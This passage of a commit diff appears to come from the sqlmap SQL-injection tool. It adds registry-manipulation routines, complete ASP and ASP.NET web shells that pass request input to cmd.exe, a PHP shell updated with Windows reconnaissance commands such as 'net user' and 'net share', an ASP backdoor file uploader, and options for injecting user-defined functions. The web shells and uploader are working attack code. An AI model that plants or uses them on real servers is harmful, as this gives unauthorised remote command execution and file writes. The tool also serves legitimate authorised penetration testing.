||||
msg = "which registry key do you want to write? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to write? "
|
||||
regVal = readInput(msg)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
if not conf.regData:
|
||||
msg = "which registry key value data do you want to write? "
|
||||
regData = readInput(msg)
|
||||
|
||||
if not regData:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regData = conf.regData
|
||||
|
||||
if not conf.regType:
|
||||
default = "REG_SZ"
|
||||
msg = "which registry key value data-type is it? "
|
||||
msg += "[%s] " % default
|
||||
regType = readInput(msg, default=default)
|
||||
else:
|
||||
regType = conf.regType
|
||||
|
||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg += "with data '%s'. " % regData
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.addRegKey(regKey, regVal, regType, regData)
|
||||
|
||||
|
||||
def regDel(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to delete? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to delete? "
|
||||
regVal = readInput(msg, default=default)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
message = "are you sure that you want to delete the Windows "
|
||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] not in ( "Y", "y" ):
|
||||
return
|
||||
|
||||
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(regKey, regVal)
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
<!--
|
||||
|
||||
ASP_KIT
|
||||
|
||||
cmd.asp = Command Execution
|
||||
|
||||
by: Maceo
|
||||
modified: 25/06/2003
|
||||
|
||||
-->
|
||||
|
||||
<%
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
szCMD = request("cmd")
|
||||
|
||||
If (szCMD <> "") Then
|
||||
szTempFile = "C:\" & oFileSys.GetTempName()
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
|
||||
End If
|
||||
%>
|
||||
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="" method="GET">
|
||||
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||
<input type="submit" value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
@@ -0,0 +1,42 @@
|
||||
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||
<%@ Import Namespace="System.Diagnostics" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<script Language="c#" runat="server">
|
||||
void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
string ExcuteCmd(string arg)
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "cmd.exe";
|
||||
psi.Arguments = "/c "+arg;
|
||||
psi.RedirectStandardOutput = true;
|
||||
psi.UseShellExecute = false;
|
||||
Process p = Process.Start(psi);
|
||||
StreamReader stmrdr = p.StandardOutput;
|
||||
string s = stmrdr.ReadToEnd();
|
||||
stmrdr.Close();
|
||||
return s;
|
||||
}
|
||||
void cmdExe_Click(object sender, System.EventArgs e)
|
||||
{
|
||||
Response.Write("<pre>");
|
||||
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
|
||||
Response.Write("</pre>");
|
||||
}
|
||||
</script>
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>awen asp.net webshell</title>
|
||||
</HEAD>
|
||||
<body >
|
||||
<form id="cmd" method="post" runat="server">
|
||||
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
|
||||
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||
</form>
|
||||
</body>
|
||||
</HTML>
|
||||
|
||||
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
|
||||
<!-- http://michaeldaw.org 04/2007 -->
|
||||
+6
-5
@@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
|
||||
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
||||
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
||||
echo "</pre><b>Server uptime</b><br><pre>";
|
||||
echo ex("uptime");
|
||||
echo (!$win) ? ex("uptime") : ex("net statistics server");
|
||||
echo "</pre><b>Server time</b><br><pre>";
|
||||
echo date("D, M d, h:iA");
|
||||
echo "</pre><b>Disk space</b><br><pre>";
|
||||
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
|
||||
echo "</pre><b>Memory information</b><br><pre>";
|
||||
echo ex("cat /proc/meminfo");
|
||||
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
||||
echo ex("netstat -nat");
|
||||
echo "</pre><b>Network devices</b><br><pre>";
|
||||
echo ex("/sbin/ifconfig -a");
|
||||
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
|
||||
echo "</pre><b>Network devices</b><br><pre>";
|
||||
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
|
||||
echo "</pre><b>Processes</b><br><pre>";
|
||||
echo ex("ps auxfww");
|
||||
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
|
||||
echo "</pre>";
|
||||
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpinfo"])) {
|
||||
|
||||
+2
-1
@@ -1 +1,2 @@
|
||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||
<p><b>sqlmap backdoor uploader</b></p>
|
||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>WebForm1</title>
|
||||
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
|
||||
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
|
||||
<meta name=vs_defaultClientScript content="JavaScript">
|
||||
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
|
||||
</HEAD>
|
||||
<body MS_POSITIONING="GridLayout">
|
||||
|
||||
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
|
||||
|
||||
<INPUT type=file id=File1 name=File1 runat="server" >
|
||||
<br>
|
||||
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</HTML>
|
||||
@@ -0,0 +1,41 @@
|
||||
Public Class WebForm1
|
||||
Inherits System.Web.UI.Page
|
||||
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
|
||||
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
|
||||
|
||||
#Region " Web Form Designer Generated Code "
|
||||
|
||||
'This call is required by the Web Form Designer.
|
||||
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
|
||||
'CODEGEN: This method call is required by the Web Form Designer
|
||||
'Do not modify it using the code editor.
|
||||
InitializeComponent()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
'Put user code to initialize the page here
|
||||
End Sub
|
||||
|
||||
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
|
||||
|
||||
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
|
||||
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
|
||||
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
|
||||
Try
|
||||
File1.PostedFile.SaveAs(SaveLocation)
|
||||
Response.Write("The file has been uploaded.")
|
||||
Catch Exc As Exception
|
||||
Response.Write("Error: " & Exc.Message)
|
||||
End Try
|
||||
Else
|
||||
Response.Write("Please select a file to upload.")
|
||||
End If
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
+57
-10
@@ -52,17 +52,17 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
|
||||
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
||||
|
||||
# HTTP Authentication type. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# Valid: Basic or Digest
|
||||
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||
# Valid: Basic, Digest or NTLM
|
||||
aType =
|
||||
|
||||
# HTTP Authentication credentials. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# HTTP Basic, Digest or NTLM authentication and you have such data.
|
||||
# Syntax: username:password
|
||||
aCred =
|
||||
|
||||
# Use a HTTP proxy to connect to the target url.
|
||||
# Syntax: http://url:port
|
||||
# Syntax: http://address:port
|
||||
proxy =
|
||||
|
||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||
@@ -250,18 +250,31 @@ user =
|
||||
# Valid: True or False
|
||||
excludeSysDbs = False
|
||||
|
||||
# First table entry to dump (cursor start)
|
||||
# First query output entry to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
||||
# Default: 0 (sqlmap will start to retrieve the query output entries from
|
||||
# the first)
|
||||
limitStart = 0
|
||||
|
||||
# Last table entry to dump (cursor stop)
|
||||
# Last query output entry to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
||||
# until the last)
|
||||
# Default: 0 (sqlmap will detect the number of query output entries and
|
||||
# retrieve them until the last)
|
||||
limitStop = 0
|
||||
|
||||
# SQL SELECT query to be executed.
|
||||
# First query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output from the first
|
||||
# character)
|
||||
firstChar = 0
|
||||
|
||||
# Last query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output until the last
|
||||
# character)
|
||||
lastChar = 0
|
||||
|
||||
# SQL statement to be executed.
|
||||
# Example: SELECT 'foo', 'bar'
|
||||
query =
|
||||
|
||||
@@ -270,6 +283,16 @@ query =
|
||||
sqlShell = False
|
||||
|
||||
|
||||
[User-defined function]
|
||||
|
||||
# Inject custom user-defined functions
|
||||
# Valid: True or False
|
||||
udfInject = False
|
||||
|
||||
# Local path of the shared library
|
||||
shLib =
|
||||
|
||||
|
||||
[File system]
|
||||
|
||||
# Read a specific file from the back-end DBMS underlying file system.
|
||||
@@ -323,6 +346,30 @@ msfPath =
|
||||
tmpPath =
|
||||
|
||||
|
||||
[Windows]
|
||||
|
||||
# Read a Windows registry key value
|
||||
regRead = False
|
||||
|
||||
# Write a Windows registry key value data
|
||||
regAdd = False
|
||||
|
||||
# Delete a Windows registry key value
|
||||
regDel = False
|
||||
|
||||
# Windows registry key
|
||||
regKey =
|
||||
|
||||
# Windows registry key value
|
||||
regVal =
|
||||
|
||||
# Windows registry key value data
|
||||
regData =
|
||||
|
||||
# Windows registry key value type
|
||||
regType =
|
||||
|
||||
|
||||
[Miscellaneous]
|
||||
|
||||
# Retrieve each query output length and calculate the estimated time of
|
||||
|
||||
@@ -28,6 +28,9 @@ import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
|
||||
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
|
||||
|
||||
try:
|
||||
import psyco
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+54
-6
@@ -1,12 +1,44 @@
|
||||
<?xml version="1.0" ?>
|
||||
<root>
|
||||
<signatures release="2008">
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2714
|
||||
</version>
|
||||
<servicepack>
|
||||
1 + Cumulative Update 2 for Service Pack 1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2710
|
||||
</version>
|
||||
<servicepack>
|
||||
1 + Cumulative Update 1 for Service Pack 1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.2531
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1798
|
||||
</version>
|
||||
<servicepack>
|
||||
0 + Cumulative Update 4
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.00.1787
|
||||
</version>
|
||||
<servicepack>
|
||||
+ Cumulative Update 3
|
||||
0 + Cumulative Update 3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -14,7 +46,7 @@
|
||||
10.00.1779
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958186
|
||||
0+Q958186
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -22,7 +54,7 @@
|
||||
10.00.1771
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q958611
|
||||
0+Q958611
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
@@ -30,12 +62,12 @@
|
||||
10.00.1750
|
||||
</version>
|
||||
<servicepack>
|
||||
+Q956718
|
||||
0+Q956718
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
10.0.1600.22
|
||||
10.00.1600.22
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
@@ -67,6 +99,22 @@
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2005">
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4220
|
||||
</version>
|
||||
<servicepack>
|
||||
3+Q967909
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4216
|
||||
</version>
|
||||
<servicepack>
|
||||
3+Q967101
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
9.00.4211
|
||||
@@ -88,7 +136,7 @@
|
||||
9.00.4035
|
||||
</version>
|
||||
<servicepack>
|
||||
+3
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
|
||||
+4
-2
@@ -29,6 +29,7 @@
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
@@ -138,6 +139,7 @@
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
@@ -151,8 +153,8 @@
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
<inband query="SELECT datname FROM pg_database"/>
|
||||
<blind query="SELECT DISTINCT(datname) FROM pg_database OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemaname, tablename FROM pg_tables" condition="schemaname"/>
|
||||
|
||||
Reference in New Issue
Block a user